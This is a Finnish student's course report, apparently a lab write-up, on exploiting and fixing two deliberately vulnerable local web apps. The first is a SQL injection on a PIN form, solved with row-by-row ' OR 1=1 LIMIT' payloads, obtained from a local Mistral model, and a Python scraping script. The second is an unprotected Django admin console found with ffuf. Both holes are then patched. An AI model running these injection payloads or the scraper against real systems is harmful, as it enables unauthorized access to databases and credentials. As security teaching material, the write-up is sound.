Henry Isakoff 🥕 Sovellusten Hakkerointi

| Sovellusten Hakkerointi | 8 min

Rikotaan ja korjataan.

Tässä raportissa tutustumme OWASP/Portswigger broken access control haavoituksiin, fussaukseen (jälleen). Sekä rikkinäiseen koodiin ja tämän korjaamiseen.

Fussauksen tehtävän olen jo aikaisemmalla kurssilla tehnyt. Eli sitä ei tässä raportissa löydy.

Lyhyesti

Owasp - Broken access control ja PortSwigger - Access control vulnerability

  • Access control yleisesti määrittää kenellä on oikeudet järjestelmiin. Tämä on yleisesti monimutkainen kokonaisuus, joten todella altis virheille. Haavoittuvuudet ovat yleisiä.

  • Vuoden 2021 yleisin haavoittuvuus.

Karvinen 2023 - Fuzz

Kertaus fussauksesta. Etsitään sanalistalla sivuston hierarkiaa.

Karvinen 2006 - Raportin kirjoittaminen

Tiivis, hyvälukuinen raportti on kiva!

Binäärit

Teron sivuilta saamme testi-binäärit. Kertauksena lataus kansioon wget komennolla ja unzip komennolla auki.

010 staff only

Tämän jälkeen pyöräytetään käyntiin python3:ssa ensimmäinen daemoni.

Sisältö
Python3

Olen tässä viime aikoina tehnyt paljon hakkerointitehtäviä ja heti tulee hyvä mieli kun näkee liputus-flägin etsinnän. Eli binääri avautui lokaaliin porttiin 5000.

Kokeilen alkuun pin-koodin 123 ja saan tietoon oman salasanani ”Somedude”. Näen myös, että input-tyyppinä on numero - eli varmaan ensimmäinen kokeilu voisi olla, että tämän jättää tyhjäksi tai lähdetään muuttamaan tekstiksi. Teoretisoin, että input =”” tai ”text” voisi tuoda jotain. Tai.

Python3

Tässä kohtaa on myös hyvä huomauttaa, että SQL kielenä on minulle vielä aika vieras. Olen tällä viikolla ottanut vasta ensimmäiset upotukset aiheeseen.

Mutta tämä ei todellakaan haittaa. Voidaan pyöräyttää pieni python-scripti raapimaan palvelimelta vastauksia. Nyt kyseessä oma laatikko niin, tämä suht helppoa jos ymmärtää pythonia. Käytän avuksi python kirjastoa beutifulsoup4 parsimaan datan luettavaan muotoon. Tästä kohta lisää.

Koska olen kuitenkin aika pihalla SQLsta, niin käytän tähän hyödyksi lokaalia tekoälyäni. Nyt olen viime aikoina huomannut Mistrall tekoälyn vahvuuden minun omassa promptaustyylissä ja koodauksessa niin käytetään sitä. Eli kyseessä mistrall small 3.2:24b. Tässä myös yritän vain alkukantaisesti saada vastaukseksi SQL listan rivejä. Keskustelussa kääntäjänä toimii LM-studio ja rautana käytän omaa macbook pro m2 max (64gb) konetta.

Seuraavassa kysymys ja vastaus-sarja:

Koulutehtävää varten yritän SQL injektion rikkomista, Voitko antaa minulle listan SQL-injektioista, jotka hakevat tietokannasta tietyn määrän rivejä kerrallaan? Esimerkiksi, miten voin hakea ensimmäisen, toisen, kolmannen jne. rivin?

Jätä pois kaikki muu kuin vastauskoodit

Mistrall: Tässä on SQL-injektioesimerkkejä, jotka hakevat tietokannasta tietyn määrän rivejä kerrallaan: Ensimmäinen rivi: ' OR 1=1 LIMIT 0,1 -- Toinen rivi: ' OR 1=1 LIMIT 1,1 -- Kolmas rivi: ' OR 1=1 LIMIT 2,1 -- Neljäs rivi: ' OR 1=1 LIMIT 3,1 -- Viides rivi: ' OR 1=1 LIMIT 4,1 --

Nämä esimerkit oletetaan toimivan SQL-kyselyissä, joissa on haavoittuvuus. Muista, että SQL-injektio on laiton ja eteenkäteen sovittu vain turvallisuusarvioinnin ja koulutuksen tarkoituksiin.

Ymmärtääkseni tässä haetaan siis rivivastaavuus 1=1 ja jäsennetään vastausnumero aina pyydetyltä riviltä. Eli hyvä pohja python-skriptille. Tätä vääntelin parilla eri pohjalla ja yrityksellä. Tämä ei kuitenkaan python-kurssi joten en avaa tätä enempää. Käytin kyllä mistrallia myös tämän tekemiseen, mutta HUOM. tälläisessä kokonaisuudessa on todella harvinaista onnistua lokaalin tekoälyn avulla suoraan. On huomattavasti helpompaa antaa esim mistrallin tehdä joku pohja ja jäsentää siitä eteenpäin. Tässä täytyy ymmärtää miten POST-pyynnöt ja BeutifulSoup toimii.

Täytyy myös katsoa miten itse lähdekoodi toimii ja tehdä vastaavat pyydettävään raapaisuun.

import requests
from bs4 import BeautifulSoup

url = "http://localhost:5000/"

injections = [
    "' OR 1=1 LIMIT 0,1; --",  # Ensimmäinen rivi
    "' OR 1=1 LIMIT 1,1; --",  # Toinen rivi
    "' OR 1=1 LIMIT 2,1; --",  # Kolmas rivi
    "' OR 1=1 LIMIT 3,1; --",  # Etköhän ymmärrä
    "' OR 1=1 LIMIT 4,1; --",  # Mitä haetaan
]

all_passwords = []
for i, injection in enumerate(injections):
    try:
        # POST-pyyntö
        response = requests.post(url, data={"pin": injection})

        if response.status_code == 200:
            # BFsoup jäsentämään
            soup = BeautifulSoup(response.text, 'html.parser')

            # Etsitään elementti
            password_element = soup.select_one('p > b')

            if password_element:
                password = password_element.text
                print(f"Injektio {i+1} ({injection}): {password}")
                all_passwords.append(password)
            else:
                print(f"Injektio {i+1}: Salasanaa ei löytynyt vastauksesta")
        else:
            print(f"Injektio {i+1}: HTTP-virhe {response.status_code}")

    except Exception as e:
        print(f"Virhe injektion {i+1} kanssa: {str(e)}")

# Tulostetaan kaikki ftw!
print("\nKaikki löydetyt salasanat:")
for i, password in enumerate(all_passwords):
    print(f"{i+1}. {password}")

Python3 skripti Onnistunut kokonaisuus!

Tässä tapauksessa kolmas vastaus listalta toi oikean vastauksen SUPERADMIN%%rootALL-FLAG{Tero-e45f8764675e4463db969473b6d0fcdd}

Korjataan haavoittuvuus

Sammutetaan ensin pyörivä prosessi ja katsotaan nanolla staff-only.py sisältöä.

Katsotaan koodia

Suoraan asiaa liikaa ymmärtämättä, näen, että pin haetaan tekstinä ”+pin+”. Eli muutetaan tämä parametriksi. Tässä kohtaa törmäsin vähän seinään erinäisillä kokeiluilla. Vaikka muutan tuon paikkaparametriksi ”:pin”, tämä ei tuota tulosta. SQL on vieras, joten uskon vikani olevan parametrimerkinnässä. Stack Overflowsta muiden vastaavien parametrien etsiminen kuitenkin paljastaa yleisesti, että muutkin käyttävät tätä.

Sittenpä tajuan, että tämähän täytyy ottaa parametrinä myös mukaan hakufunktiossa. Eli lisätään {"pin": pin}) kun haetaa data funktiosta.

Näinkö?

Nyt yritän ajaa python skriptiäni, ja VOILA! Vastauksia ei löydy!

Korjattu kokonaisuus

020 your eyes only

Laitetaan tästä myös binääri pyörimään. Teron ohjeissa suositellaan käynnistämään omassa pythonin virtuaaliympäristössä. Tämä hyvä tapa jos esimerkiksi tarvitaan jostain vaadittavuudesta vain tietty versio tjms.

Itsellä venv ympäristöistä jo aika paljon kokemusta mm anaconda/comfyui järjestelmien kautta. Eli luodaan venv-ympäristö nykyiseen kansioon ja aktivoidaan tämä aktiiviseksi, niin, että nykyiset kalin paketit valmiiksi sisällä.

virtualenv venv/ -p python3 --system-site-packages source venv/bin/activate

Binäärissä tuli myös mukana requirements .txt joka voidaan ajaa ympäristön aktivoinnin jälkeen.

pip install -r requirements.txt

Tämä hyvä tapa ajaa venvin sisälle kaikki vaadittavat kirjastot. Ilman --system-site-packages lisää venv siis ajettaisiin ilman mitään pohjapaketteja.

Korjattu kokonaisuus

Ohjeissa myös pyydetään päivittämään tietokanta.

./manage.py makemigrations; ./manage.py migrate

Tämän jälkeen voin käynnistää binäärin (itse teen palvelinpohjalla, eli käytetään globaalia 0.0.0.0 - tähän HOX muista karanteenata binäärin juokseva kone).

./manage.py runserver 0.0.0.0:5000

Saan kuitenkin merkinnän, että django ei anna koneeni yhdistää verkon yli binääriin (disallowedhost). Tämä ongelma, että django-binääriin pitää laittaa allowed_hosts osioon oma dns osoitteeni (kali.koti).

Eli menen binäärin kansioon logtin ja muutan settings.py tuon. Whitelistiin oma dns-osoite kali.koti. Laitan samalla debugin pois päältä (todennäköisesti jäänyt alunperin - tai sitten osana haastetta?).

Allowed hosts Allowed hosts

Näin pääsen omasta macbookista -> labran kalin palveluun.

Tavoitteena on päästä adminpaneeliin sivustossa ja tähän käytetään siis fuffia. Olen jo edellisessä kurssissa kirjoittanut fussauksesta ja ratkaisuut maaleja tällä. Eli tehdään niin nytkin.

TL;DR käytän macbookkini fuffia joka asennettu homebrewistä.

ffuf -w common.txt -u http://kali.koti:5000/FUZZ

Ja näin näen admin konsolin sivuston ja sillä pääsen sisään.

Fuff Konsoli

Korjataan tämä ongelma.

Korjaus konsolin oikeuksiin.

Koska meillä on pääsy /admin-console/ kansioon voimme grepata haun tuolla hakusanalla.

grep -rin "admin-console"

Konsoli

Tästä löytyy tiedostot hats ja views. Suoraan ’views.py’ tiedostossa näemme, että ongelmana on unohtuneet luvat alimmalla rivillä. Eli staff oikeudet tarvitaan myös sisäänpääsyyn.

Tämän voi korjata kumpaan tahansa tiedostoon, mutta korjaan nyt viewsiin. Lisäämällä vaatimuksen AdminShowAllViewiin. Vaihtoehtoisesti voisin korjata .hats tiedostoon dashboard ja console merkintään saman DashboardViewin oikeudet.

Koodi

Ja uudelleen ajamisella globaali ohjaa aina normaaliin login-sivustoon 💪. Eli korjattu.

Koodi

Kommentit ja lähteet

Access Control hommat näyttävät olevan aika yleinen ongelma.

Molemmat tehtävät olivat hauskoja ja realistisia ajatuksia miten on devaajalla unohtunut jotain tai epähuomiossa on väärin laitettu oikeuksia. Voisin äkkiseltään kuvitella, että nimenomaan tämä jälkimäinen, suhteellisen helppo, moka, voisi löytyä ihan tuotantosivuilta. Epähuomiossa ja kiireessä tulee virheitä.

Lähteet

Teron binäärit https://terokarvinen.com/hack-n-fix/

Broken Access Control linkit https://owasp.org/Top10/A01_2021-Broken_Access_Control/ https://portswigger.net/web-security/access-control

BeutifulSoup python scripting apuna https://www.crummy.com/software/BeautifulSoup/bs4/doc

Dokumentissa käytetty apuna python koodissa ja SQL apuna LLM mistra-small3.2:24b mallia. Rautana käytössä ollut Macbook pro m2 max 64gb ja kääntäjänä LM-studio https://huggingface.co/mistralai/Mistral-Small-3.2-24B-Instruct-2506 https://lmstudio.ai

Fussaustehtävä aikaisemmassa raportissani https://h.iskff.fi/tt/#h3

Mäkin paketinhallintaan https://brew.sh

Kuvat optimoitu https://optimage.app

Unraid https://unraid.net

Käytetty aika 4h 20min